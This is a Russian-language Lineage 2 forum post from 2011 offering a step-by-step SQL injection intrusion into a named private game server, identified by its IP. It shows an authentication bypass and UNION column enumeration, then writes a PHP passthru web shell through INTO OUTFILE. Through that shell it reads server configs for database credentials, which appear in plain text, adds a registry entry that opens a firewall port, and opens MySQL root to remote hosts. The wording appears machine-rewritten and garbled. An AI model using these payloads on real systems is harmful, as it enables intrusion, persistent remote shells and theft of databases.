Сообщество Lineage 2
Вы хотите отреагировать на этот пост ? Создайте аккаунт всего в несколько кликов или войдите на форум.
Сообщество Lineage 2

Lineage 2


Вы не подключены. Войдите или зарегистрируйтесь

Предыдущая тема Следующая тема Перейти вниз  Сообщение [Страница 1 из 1]

1[Статья] SQL инъекция Empty [Статья] SQL инъекция Вт Дек 20, 2011 3:00 pm

Admin


Admin
Говорить про sql-инъекцию (иньку) я не буду, статей на данную тему множество. Перейдем сходу к практике. А практика будет на ява-сервере http://www.l2appeal.comВ данном случае инька есть в acm модулях. Зарегистрируем акк MyLogin с паролем MyPas. На страничке логина http://85.14.219.28/acm/?act=account попробуем залогиниться с таковыми праметрами:в поле логина вводим mylogin'#в поле пароля введем, как заведено, хоть какой пасс, к примеру sdfhsdПытаемся зайти - зашли, инька есть.По сути инъекция быть может где угодно, но остановимся пока на данном примере. Само-собой разумеется, нажимаем на веб-сайте Logout, и в, как мы выражаемся, адресной строке удаляем знак # (сетки), т.е. http://www.gaming-portal.net/acm/?act=account&id=mylogin'#&do=quitменяем наhttp://www.gaming-portal.net/acm/?act=account&id=mylogin'&do=quitЖмем в адресной строке выслать - logout прошел.Сейчас нужно, мягко говоря, узнать, сколько столбцов запрашивается в скрипте логина (что бы сделать обычный union). Идем на страничку логина, в поле логина пишем так: dsafasd'union select 1,2,3#пароль пишем хоть какой, нажимаем логин - не пустило, Access filed. Обратите внимание на то, что пытаемся с таковым логином:dsafasd'union select 1,2,3,4#Снова не пустило. Продолжаем перебор, пока логин не пройдет. C логиномdsafasd'union select 1,2,3,4,5,6# вышло войти.Непревзойденно, к тому же ошибки повылазили Смотрим на ошибки и сохраняем локальный адресок папки acm (ведь на нее есть доступ) - d:/wamp/www/acm/Движемся далее. Делаем логаут и опять идем на страничку логина. В поле логина пишем так:sdfasd'union select null,null,null,null,null,'<?php passthru($GET[cmd]); ?>' into outfile 'd:/wamp/www/acm/class.php'#Расмотрим подробнее. null,null,null,null,null - необходимы для того, что бы UNION SELECT прошел нормально, ведь кол-во запрошеных столбцов во 2-м SELECT обязано соответствовать кол-ву столбцов в первом. Для этого мы и перебирали кол-во столбцов ранее.'<?php passthru($GET[cmd]); ?>' - фактически строчка, которую, вообщем то, возвратит наш запрос union select. Кто знаком с php - тому не нужно обьяснять, что же это все-таки за строчка. Всем известно о том, что кто не знаком - в 2-ух словах команда passthru в пхп выполняет команду, переданную в параметре cmd, на локальном ПК с правами текущего юзера.into outfile - показывает на то, что итог запроса необходимо записать в файл, 'd:/wamp/www/acm/class.php' - полный путь до файла с названием файла (обратите внимание, слеши должны быть обратные). Файла class.php по этому пути не как раз существует, потому будет сотворен новейший файл class.php и в него будет запсан итог выполнения нашего запроса, другими словами обычная строка <?php passthru($GET[cmd]); ?>Едем далее. Логин не прошел, но ежели в настройках мускуля (MySQL) у текущего юзера (текущий юзер - это логин и пасс, под которым скрипт логина коннектится к мускулю ) есть права на into outfile, то файл будет сотворен. Традиционно, скрипты употребляют одну учетную запсь, со полными правами.Пробуем в адресной строке запустить наш шелл. Вбиваем в, как мы привыкли говорить, адресную строкуhttp://www.gaming-portal.net/acm/class.phpЕсли файл сотворен нормально, и скрипт также работает, вы получите что-то вроде этого:Все, шелл залит. В принципе, можно еще сделать пхп-скрипт с оператором unclude и через него подгрузить наружный обычный шелл. Но не постоянно сервер дозволяет применять наружный инклюд, а локальный нам не к чему. Сейчас у нас есть доступ к командной стркое сервера, можно удалить на**** все базы и форматнуть винты... Но мы же с вами не варвары? Попробуем получить доступ к базе l2jdb.Команды для выполнения на сервере передаются скрипту через ?cmd=команда. Вбьем в строке такую команду:http://www.gaming-portal.net/acm/class.php?cmd=dir d:\и получим таковой итог:Тут скрипт выполнил команду dir d:\Дальше я не буду писать полный путь до скрипта, будут только команды cmd=бла-бла-бла. Ну вы сообразили, что их необходимо дописывать к скрипту так: class.php?cmd=бла-бла-блаТак, опосля выполнения команды dir d:\ мы лицезреем папку L2Appeal. Это скорей всего сервак линейки. Мало кто знает то, что необходимо, наконец, прочесть его конфиги. Идем по адресу cmd=dir d:\L2AppeaL\login\config и находим файл loginserver.propertiesПрочитаем его. Для этого воспользуемся командой type с полным методом до файла. Пишем в адресной строке такую команду cmd=type d:\L2AppeaL\login\config\loginserver.properties и лицезреем следующееОтлично, логин и пасс к мускулю есть. Запишем их. Сейчас проверим конект к базе. Запускаем командную строчку (пуск->выполнить->cmd). В командной строке вбиваем telnet 85.14.219.28 3306Итог говорит о том, что на сервере стоит фаерволл не пропускает коннект на порт 3306 (порт мускуля по умолчанию). Будем надеятся, это - обычный брэндмауэр винды. Обойдем его так: в адресную строчку вбиваем такую командуcmd=reg add HKLM\System\ControlSet001\Services\SharedAccess \Parameters\FirewallPolicy\StandardProfile \GloballyOpenPorts\List /v 3306:TCP /t REGSZ /d 3306:TCP:*:Enabled:MySQL /fЭта команда внесет в реестре порт 3306 в перечень исключения брэндмауэра и порт будет открыт. Обратите внимание на то, что проверяем через телнет, как описывал выше. Само-собой разумеется, непревзойденно, фаерволл был один - бренмауер и он на данный момент пропускает коннект. Но Host 'xx xx xx xx' is not allowed to connect to this MySQL server говорит о том, что с вашего ИПа доступ к мускулю запрещен. Щас поправим Опять берем в руки возлюбленный dir и ищем папку MySQL. Традиционно она в каких-либо Program Files, но не постоянно. Адресок для команды dir лучше заключать в ковычки, к примеру так: cmd=dir d:\Program Files Итак, отыскали папку мускулю по адресу d:\Program Files\MySQL\MySQL Server 6.0\bin\Проверим таблицу User. Пишем такую команду:cmd=d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe -uroot -pkrolar mysql -e select * from userВ данной команде запускается mysql.exe, логин указан опосля команды -u (заметьте - писать слитно -uroot), потом идем пароль. Далее - mysql, это имя базы с которой будем работать. Далее команда -e, она говорит о том, что нужно выполнить один запрос и закрыть соединение. В данном случае запрос select * from user. Таблица user в базе данных mysql содержит информацию о юзерах, которым разрешен доступ к мускулю. В данном случае мы лицезреем, что юзеру ROOT разрешен коннект лишь с локального хоста. С наружных ИПов к базе доступа нет. Пишем, как всем известно, такую командуcmd=d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe -uroot -pkrolar mysql -e update user set host='%' where user='root'Итог возвращен не, в конце концов, будет, но запрос выполнится. А поточнее, update user set host='%' where user='root' в поле HOST заместо LOCALHOST запишет знак %, что предполагает коннект со всех ИПов. Что бы убедиться, можно снова запустить запрс select * from user и проверить, выполнился ли запрос.Итак, доступ открыт со всех ипов под логином root и паролем krolar. Всем известно о том, что но что бы конфигурации вступили в силу, без перезапуска MySQL сервера, необходимо сделать reload. Пишем такую командуcmd=d:\Program Files\MySQL\MySQL Server 6.0\bin\mysqladmin.exe -uroot -pkrolar reloadДело изготовлено. Запускаем Navicat (в нете отыщите), нажимаем Connections. В поле Host name/ IP address вводим ИП нашего сервера - 85.14.219.28, логин - root, пароль krolar. Нажимаем Test Connection.Поздравляю, у вас полный доступ к базам MySQL.Special for Zhyk.org

https://lineage-22.forum2x2.ru

Предыдущая тема Следующая тема Вернуться к началу  Сообщение [Страница 1 из 1]

Права доступа к этому форуму:
Вы не можете отвечать на сообщения

 

Создать форум | ©phpBB | Бесплатный форум поддержки | Сообщить о нарушении | Cookies | Последние обсуждения